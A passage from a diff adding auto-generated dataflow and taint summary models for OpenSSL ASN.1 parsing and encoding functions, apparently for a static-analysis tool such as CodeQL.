"dfc-generated"] + - ["", "", True, "ASN1_TIME_to_generalizedtime", "(const ASN1_TIME *,ASN1_GENERALIZEDTIME **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ASN1_TIME_to_generalizedtime", "(const ASN1_TIME *,ASN1_GENERALIZEDTIME **)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ASN1_TIME_to_tm", "(const ASN1_TIME *,tm *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ASN1_TYPE_cmp", "(const ASN1_TYPE *,const ASN1_TYPE *)", "", "Argument[*0].Field[*value].Union[*(unnamed class/struct/union)]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ASN1_TYPE_cmp", "(const ASN1_TYPE *,const ASN1_TYPE *)", "", "Argument[*1].Field[*value].Union[*(unnamed class/struct/union)]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ASN1_TYPE_free", "(ASN1_TYPE *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "ASN1_TYPE_free", "(ASN1_TYPE *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "ASN1_TYPE_get", "(const ASN1_TYPE *)", "", "Argument[*0].Field[*type]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ASN1_TYPE_pack_sequence", "(const ASN1_ITEM *,void *,ASN1_TYPE **)", "", "Argument[**2]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "ASN1_TYPE_pack_sequence", "(const ASN1_ITEM *,void *,ASN1_TYPE **)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "ASN1_TYPE_pack_sequence", "(const ASN1_ITEM *,void *,ASN1_TYPE **)", "", "Argument[*2]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ASN1_TYPE_pack_sequence", "(const ASN1_ITEM *,void *,ASN1_TYPE **)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ASN1_TYPE_pack_sequence", "(const ASN1_ITEM *,void *,ASN1_TYPE **)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ASN1_TYPE_set1", "(ASN1_TYPE *,int,const void *)", "", "Argument[1]", "Argument[*0].Field[*type]", "value", "dfc-generated"] + - ["", "", True, "ASN1_TYPE_set1", "(ASN1_TYPE *,int,const void *)", "", "Argument[2]", "Argument[*0].Field[*value].Union[*(unnamed class/struct/union)]", "value", "dfc-generated"] + - ["", "", True, "ASN1_TYPE_set", "(ASN1_TYPE *,int,void *)", "", "Argument[*2]", "Argument[*0].Field[*value].Union[**(unnamed class/struct/union)]", "value", "dfc-generated"] + - ["", "", True, "ASN1_TYPE_set", "(ASN1_TYPE *,int,void *)", "", "Argument[1]", "Argument[*0].Field[*type]", "value", "dfc-generated"] + - ["", "", True, "ASN1_TYPE_set", "(ASN1_TYPE *,int,void *)", "", "Argument[2]", "Argument[*0].Field[*value].Union[*(unnamed class/struct/union)]", "value", "dfc-generated"] + - ["", "", True, "ASN1_TYPE_set_octetstring", "(ASN1_TYPE *,unsigned char *,int)", "", "Argument[*0]", "Argument[0]", "taint", "df-generated"] + - ["", "", True, "ASN1_TYPE_unpack_sequence", "(const ASN1_ITEM *,const ASN1_TYPE *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ASN1_TYPE_unpack_sequence", "(const ASN1_ITEM *,const ASN1_TYPE *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ASN1_UTCTIME_adj", "(ASN1_UTCTIME *,time_t,int,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "ASN1_UTCTIME_adj", "(ASN1_UTCTIME *,time_t,int,long)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ASN1_UTCTIME_dup", "(const ASN1_UTCTIME *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "ASN1_UTCTIME_dup", "(const ASN1_UTCTIME *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ASN1_UTCTIME_dup", "(const ASN1_UTCTIME *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ASN1_UTCTIME_dup", "(const ASN1_UTCTIME *)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ASN1_UTCTIME_dup", "(const ASN1_UTCTIME *)", "", "Argument[0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ASN1_UTCTIME_set", "(ASN1_UTCTIME *,time_t)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "ASN1_UTCTIME_set", "(ASN1_UTCTIME *,time_t)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ASN1_UTCTIME_set_string", "(ASN1_UTCTIME *,const char *)", "", "Argument[*1]", "Argument[*0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "ASN1_UTCTIME_set_string", "(ASN1_UTCTIME *,const char *)", "", "Argument[1]", "Argument[*0].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "ASN1_check_infinite_end", "(unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "taint", "dfc-generated"] + - ["", "", True, "ASN1_check_infinite_end", "(unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "taint", "dfc-generated"] + - ["", "", True, "ASN1_check_infinite_end", "(unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ASN1_const_check_infinite_end", "(const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "taint", "dfc-generated"] + - ["", "", True, "ASN1_const_check_infinite_end", "(const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "taint", "dfc-generated"] + - ["", "", True, "ASN1_const_check_infinite_end", "(const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ASN1_d2i_bio", "(..(*)(..),d2i_of_void *,BIO *,void **)", "", "Argument[**3]", "Argument[*3]", "value", "df-generated"] + - ["", "", True, "ASN1_d2i_bio", "(..(*)(..),d2i_of_void *,BIO *,void **)", "", "Argument[**3]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "ASN1_d2i_bio", "(..(*)(..),d2i_of_void *,BIO *,void **)", "", "Argument[**3]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "ASN1_d2i_bio", "(..(*)(..),d2i_of_void *,BIO *,void **)", "", "Argument[*3]", "Argument[**3]", "value", "df-generated"] + - ["", "", True, "ASN1_d2i_bio", "(..(*)(..),d2i_of_void *,BIO *,void **)", "", "Argument[*3]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "ASN1_d2i_bio", "(..(*)(..),d2i_of_void *,BIO *,void **)", "", "Argument[*3]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "ASN1_d2i_bio", "(..(*)(..),d2i_of_void *,BIO *,void **)", "", "Argument[3]", "Argument[**3]", "value", "df-generated"] + - ["", "", True, "ASN1_d2i_bio", "(..(*)(..),d2i_of_void *,BIO *,void **)", "", "Argument[3]", "Argument[*3]", "value", "df-generated"] + - ["", "", True, "ASN1_d2i_bio", "(..(*)(..),d2i_of_void *,BIO *,void **)", "", "Argument[3]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "ASN1_d2i_bio", "(..(*)(..),d2i_of_void *,BIO *,void **)", "", "Argument[3]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "ASN1_d2i_fp", "(..(*)(..),d2i_of_void *,FILE *,void **)", "", "Argument[**3]", "Argument[*3]", "value", "df-generated"] + - ["", "", True, "ASN1_d2i_fp", "(..(*)(..),d2i_of_void *,FILE *,void **)", "", "Argument[**3]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "ASN1_d2i_fp", "(..(*)(..),d2i_of_void *,FILE *,void **)", "", "Argument[**3]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "ASN1_d2i_fp", "(..(*)(..),d2i_of_void *,FILE *,void **)", "", "Argument[*3]", "Argument[**3]", "value", "df-generated"] + - ["", "", True, "ASN1_d2i_fp", "(..(*)(..),d2i_of_void *,FILE *,void **)", "", "Argument[*3]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "ASN1_d2i_fp", "(..(*)(..),d2i_of_void *,FILE *,void **)", "", "Argument[*3]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "ASN1_d2i_fp", "(..(*)(..),d2i_of_void *,FILE *,void **)", "", "Argument[3]", "Argument[**3]", "value", "df-generated"] + - ["", "", True, "ASN1_d2i_fp", "(..(*)(..),d2i_of_void *,FILE *,void **)", "", "Argument[3]", "Argument[*3]", "value", "df-generated"] + - ["", "", True, "ASN1_d2i_fp", "(..(*)(..),d2i_of_void *,FILE *,void **)", "", "Argument[3]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "ASN1_d2i_fp", "(..(*)(..),d2i_of_void *,FILE *,void **)", "", "Argument[3]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "ASN1_dup", "(i2d_of_void *,d2i_of_void *,const void *)", "", "Argument[*2]", "Argument[2]", "value", "df-generated"] + - ["", "", True, "ASN1_dup", "(i2d_of_void *,d2i_of_void *,const void *)", "", "Argument[*2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ASN1_dup", "(i2d_of_void *,d2i_of_void *,const void *)", "", "Argument[*2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ASN1_dup", "(i2d_of_void *,d2i_of_void *,const void *)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ASN1_dup", "(i2d_of_void *,d2i_of_void *,const void *)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ASN1_get_object", "(const unsigned char **,long *,int *,int *,long)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ASN1_i2d_bio", "(i2d_of_void *,BIO *,const void *)", "", "Argument[*2]", "Argument[2]", "value", "df-generated"] + - ["", "", True, "ASN1_i2d_fp", "(i2d_of_void *,FILE *,const void *)", "", "Argument[*2]", "Argument[2]", "value", "df-generated"] + - ["", "", True, "ASN1_item_d2i", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "ASN1_item_d2i", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "ASN1_item_d2i", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "ASN1_item_d2i", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "ASN1_item_d2i", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "ASN1_item_d2i", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "ASN1_item_d2i", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *)", "", "Argument[*3]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *)", "", "Argument[*3]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *)", "", "Argument[*3]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *)", "", "Argument[*3]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "ASN1_item_d2i", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "ASN1_item_d2i", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "ASN1_item_d2i", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "ASN1_item_d2i", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i_bio", "(const ASN1_ITEM *,BIO *,void *)", "", "Argument[**2]", "Argument[*2]", "value", "df-generated"] + - ["", "", True, "ASN1_item_d2i_bio", "(const ASN1_ITEM *,BIO *,void *)", "", "Argument[**2]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "ASN1_item_d2i_bio", "(const ASN1_ITEM *,BIO *,void *)", "", "Argument[**2]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "ASN1_item_d2i_bio", "(const ASN1_ITEM *,BIO *,void *)", "", "Argument[*0]", "Argument[**2]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i_bio", "(const ASN1_ITEM *,BIO *,void *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i_bio", "(const ASN1_ITEM *,BIO *,void *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i_bio", "(const ASN1_ITEM *,BIO *,void *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i_bio", "(const ASN1_ITEM *,BIO *,void *)", "", "Argument[*2]", "Argument[**2]", "value", "df-generated"] + - ["", "", True, "ASN1_item_d2i_bio", "(const ASN1_ITEM *,BIO *,void *)", "", "Argument[*2]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "ASN1_item_d2i_bio", "(const ASN1_ITEM *,BIO *,void *)", "", "Argument[*2]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "ASN1_item_d2i_bio", "(const ASN1_ITEM *,BIO *,void *)", "", "Argument[2]", "Argument[**2]", "value", "df-generated"] + - ["", "", True, "ASN1_item_d2i_bio", "(const ASN1_ITEM *,BIO *,void *)", "", "Argument[2]", "Argument[*2]", "value", "df-generated"] + - ["", "", True, "ASN1_item_d2i_bio", "(const ASN1_ITEM *,BIO *,void *)", "", "Argument[2]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "ASN1_item_d2i_bio", "(const ASN1_ITEM *,BIO *,void *)", "", "Argument[2]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "ASN1_item_d2i_bio_ex", "(const ASN1_ITEM *,BIO *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[**2]", "Argument[*2]", "value", "df-generated"] + - ["", "", True, "ASN1_item_d2i_bio_ex", "(const ASN1_ITEM *,BIO *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[**2]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "ASN1_item_d2i_bio_ex", "(const ASN1_ITEM *,BIO *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[**2]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "ASN1_item_d2i_bio_ex", "(const ASN1_ITEM *,BIO *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[*0]", "Argument[**2]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i_bio_ex", "(const ASN1_ITEM *,BIO *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i_bio_ex", "(const ASN1_ITEM *,BIO *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i_bio_ex", "(const ASN1_ITEM *,BIO *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i_bio_ex", "(const ASN1_ITEM *,BIO *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[*2]", "Argument[**2]", "value", "df-generated"] + - ["", "", True, "ASN1_item_d2i_bio_ex", "(const ASN1_ITEM *,BIO *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[*2]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "ASN1_item_d2i_bio_ex", "(const ASN1_ITEM *,BIO *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[*2]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "ASN1_item_d2i_bio_ex", "(const ASN1_ITEM *,BIO *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[2]", "Argument[**2]", "value", "df-generated"] + - ["", "", True, "ASN1_item_d2i_bio_ex", "(const ASN1_ITEM *,BIO *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[2]", "Argument[*2]", "value", "df-generated"] + - ["", "", True, "ASN1_item_d2i_bio_ex", "(const ASN1_ITEM *,BIO *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[2]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "ASN1_item_d2i_bio_ex", "(const ASN1_ITEM *,BIO *,void *,OSSL_LIB_CTX *,const char *)", "", "Argument[2]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "ASN1_item_d2i_ex", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "ASN1_item_d2i_ex", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "ASN1_item_d2i_ex", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "ASN1_item_d2i_ex", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i_ex", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i_ex", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i_ex", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i_ex", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i_ex", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "ASN1_item_d2i_ex", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "ASN1_item_d2i_ex", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "ASN1_item_d2i_ex", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i_ex", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i_ex", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i_ex", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i_ex", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i_ex", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *)", "", "Argument[*3]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i_ex", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *)", "", "Argument[*3]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i_ex", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *)", "", "Argument[*3]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i_ex", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *)", "", "Argument[*3]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i_ex", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "ASN1_item_d2i_ex", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "ASN1_item_d2i_ex", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "ASN1_item_d2i_ex", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "ASN1_item_d2i_ex", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i_ex", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i_ex", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i_ex", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i_ex", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i_ex", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i_ex", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i_ex", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i_ex", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i_ex", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i_ex", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i_ex", "(ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ASN1_item_d2i_fp", "(const ASN1_ITEM *,FILE *,void *)", "", "Argument[**2]", "Argument[*2]", "value", "df-generated"] + - ["", "", True, "ASN1_item_d2i_fp", "(const ASN1_ITEM *,FILE *,void *)", "", "Argument[**2]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "ASN1_item_d2i_fp", "(const ASN1_ITEM *,FILE *,void *)", "", "Argument[**2]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, 